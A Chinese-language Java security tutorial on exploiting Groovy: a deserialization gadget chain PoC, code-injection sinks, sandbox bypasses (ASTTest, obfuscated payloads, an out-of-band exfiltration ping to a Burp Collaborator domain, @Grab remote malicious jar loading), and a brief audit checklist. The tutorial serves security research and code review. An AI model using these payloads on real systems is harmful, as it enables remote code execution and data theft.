Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
反序列化
Groovy : 1.7.0-2.4.3
AnnotationInvocationHandler.readObject() Map.entrySet() (Proxy) ConversionHandler.invoke() ConvertedClosure.invokeCustom() MethodClosure.call() ProcessGroovyMethods.execute()
import org.codehaus.groovy.runtime.ConvertedClosure;import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Map;
public class Groovy_POC { public static String serialize(Object obj) throws Exception{ ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(barr); outputStream.writeObject(obj); byte[] bytes = barr.toByteArray(); barr.close(); return Base64.getEncoder().encodeToString(bytes); } public static void unserialize(String base64) throws Exception{ byte[] decode = Base64.getDecoder().decode(base64); ByteArrayInputStream barr = new ByteArrayInputStream(decode); ObjectInputStream inputStream = new ObjectInputStream(barr); inputStream.readObject(); } public static void main(String[] args) throws Exception{ //封裝對象 MethodClosure methodClosure = new MethodClosure("calc", "execute"); ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet"); //反射獲取AnnotationInvocationHandler構造方法 Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructors()[0]; constructor.setAccessible(true); //動態代理 Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure); //初始化 InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); //序列化 String serialize = serialize(invocationHandler); System.out.println(serialize); //反序列化 unserialize(serialize); }}
代碼注入
條件
如果外部可控輸入Groovy代碼或者外部可上傳一個惡意的Groovy腳本,且程序并未對輸入的Groovy代碼進行有效的過濾,那么會導致惡意的Groovy代碼注入,從而RCE
多種命令執行方法

運行這樣一個Groovy代碼,將會彈出一個計算器,成功執行了命令(def是用來定義標識符)
//其他執行命令執行的方法Runtime.getRuntime().exec("calc")"calc".execute()'calc'.execute()"${"calc".execute()}""${'calc'.execute()}"
//回顯的方式println "whoami".execute().textprintln 'whoami'.execute().textprintln "${"whoami".execute().text}"println "${'whoami'.execute().text}"def cmd = "whoami";println "${cmd.execute().text}"
注入點分析
MethodClosure
看看他的構造方法

可以發現他傳入了一個對象,第二個是對象的方法,通過其中的docall方法進行調用
但是docall方法是protected修飾的,不能直接調用,調用它的父類Closure的call方法間接調用
package ysoserial.vulndemo;
import org.codehaus.groovy.runtime.MethodClosure;
public class GroovyInject { public static void main(String[] args) {// MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime(), "exec");// methodClosure.call("calc"); MethodClosure methodClosure = new MethodClosure("calc", "execute"); methodClosure.call(); }}
GroovyShell
類中的evaluate方法有多個重載,支持有GroovyCodeSource String File URI 等參數類型,能夠通過Groovy代碼寫入或者本地加載或者遠程加載Groovy腳本來執行命令
其中的parse方法就是或者對應的Groovy腳本,之后調用run方法進行執行代碼內容
//直接執行Groovy代碼GroovyShell shell = new GroovyShell();shell.evaluate("\'calc\'.execute()");
//通過加載本地腳本GroovyShell shell = new GroovyShell();Script script = shell.parse(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));script.run();
GroovyShell shell = new GroovyShell();shell.evaluate(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
//通過加載遠程腳本GroovyShell shell = new GroovyShell();shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
這里的url和Groovy代碼同樣可以通過GroovyCodeSource封裝之后執行evalute執行代碼
GroovyScriptEngine
GroovyScriptEngine可從指定的位置(文件系統、URL、數據庫等等)加載Groovy腳本,并且隨著腳本變化而重新加載它們
其構造方法存在重載的方式,可以指定遠程Url/根文件位置/ClassLoader
之后通過使用run方法回顯,有兩個重載,一個是傳入腳本名和對應的參數,另一個是腳本名和Binding對象
//通過傳入根路徑之后調用對應的腳本GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/ysoserial/vulndemo");scriptEngine.run("GroovyTest.groovy", "");
//通過調用遠程url之后調用特定腳本GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");scriptEngine.run("GroovyTest.groovy", "");
//通過Binding加載GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");scriptEngine.run("src/main/java/ysoserial/vulndemo/GroovyTest.groovy", new Binding());
GroovyClassLoader
GroovyClassLoader是一個定制的類裝載器,負責解釋加載Java類中用到的Groovy類,重寫了loadClass和defineClass方法
parseClass 可以直接從文件或者字符串中獲取groovy類
//從文件中獲取Groovy類GroovyClassLoader groovyClassLoader = new GroovyClassLoader();Class aClass = groovyClassLoader.parseClass(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));GroovyObject object = (GroovyObject) aClass.newInstance();object.invokeMethod("main", "");
//從文本中獲取Groovy類GroovyClassLoader groovyClassLoader = new GroovyClassLoader();Class aClass = groovyClassLoader.parseClass("class GroovyTest {" +" static void main(args){" +" println \"${'whoami'.execute().text}\"" +"" +" }" +"}");GroovyObject groovyObject = (GroovyObject) aClass.newInstance();groovyObject.invokeMethod("main", "");
ScriptEngine
在ScriptEngine中,支持名為“groovy”的引擎,可用來執行Groovy代碼。這點和在SpEL表達式注入漏洞中講到的同樣是利用ScriptEngine支持JS引擎從而實現繞過達到RCE是一樣的
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
bypass方法
反射+字符串拼接
import java.lang.reflect.Method;Class rt = Class.forName("java.la" + "ng.Run" + "time");Method gr = rt.getMethod("getR" + "untime");Method ex = rt.getMethod("ex" + "ec", String.class);ex.invoke(gr.invoke(null), "ca" + "lc")
Groovy沙箱繞過
Groovy代碼注入都是注入了execute()函數,從而能夠成功執行Groovy代碼,這是因為不是在Jenkins中執行即沒有Groovy沙箱的限制。但是在存在Groovy沙箱即只進行AST解析無調用或限制execute()函數的情況下就需要用到其他技巧了
@AST注解執行斷言
https://www.groovy-lang.org/metaprogramming.html#_available_ast_transformations
利用AST注解能夠執行斷言從而實現代碼執行
//@AST注解執行斷言this.class.classLoader.parseClass(""" @groovy.transform.ASTTest(value={ assert Runtime.getRuntime().exec("calc") }) def x""")
//OOB
@groovy.transform.ASTTest(value={cmd = "whoami";out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";java.lang.Runtime.getRuntime().exec(cmd2.split(" "))})def x
//使用Base64編碼this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))
//同樣可以直接使用Bytethis.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
模擬受害者:
class TestScript { static void main(String[] args) { //加載惡意腳本 GroovyShell shell = new GroovyShell() shell.parse(new File("Test.groovy")).run(); }}

@Grab注解加載遠程惡意類
Grape是Groovy內建的一個動態Jar依賴管理程序,允許開發者動態引入不在ClassPath中的函式庫
需要導入ivy依賴,不然會報錯(你可以試試)
<dependency> <groupId>org.apache.ivygroupId> <artifactId>ivyartifactId> <version>2.4.0version>dependency>
POC
//@Grab注解加載遠程惡意類this.class.classLoader.parseClass(""" @GrabConfig(disableChecksums=true) @GrabResolver(name="Poc", root="http://127.0.0.1:8888/") @Grab(group="Poc", module="EvilJar", version="0") import java.lang.String""");
這里的加載依賴會看本地倉庫是否有,如果沒有就從root服務器的group/module/version目錄里面下載EvilJar-0.jar文件,默認存放在~/.groovy/grapes目錄下
之后使用processOtherServices方法處理其他服務,比如這里的name

我們就需要在服務器上編寫一個惡意類
//Poc.javapublic class Poc{ Poc() throws Exception{ Runtime.getRuntime().exec("calc"); }}
//編譯成.class文件javac Poc.java//創建目錄mkdir -p META-INF/services///在org.codehaus.groovy.plugins.Runners中寫入加載的類名Pocecho Poc > META-INF/services/org.codehaus.groovy.plugins.Runners//將.class文件打包成jar包jar cvf module-version.jar Poc.class META-INF///創建放jar包的目錄mkdir -p group/module/version///將jar包復制到該目錄下mv module-version.jar group/module/version//之后開啟http服務
排查方法
排查關鍵類函數特征:
關鍵類關鍵函數groovy.lang.GroovyShellevaluategroovy.util.GroovyScriptEnginerungroovy.lang.GroovyClassLoaderparseClassjavax.script.ScriptEngineeval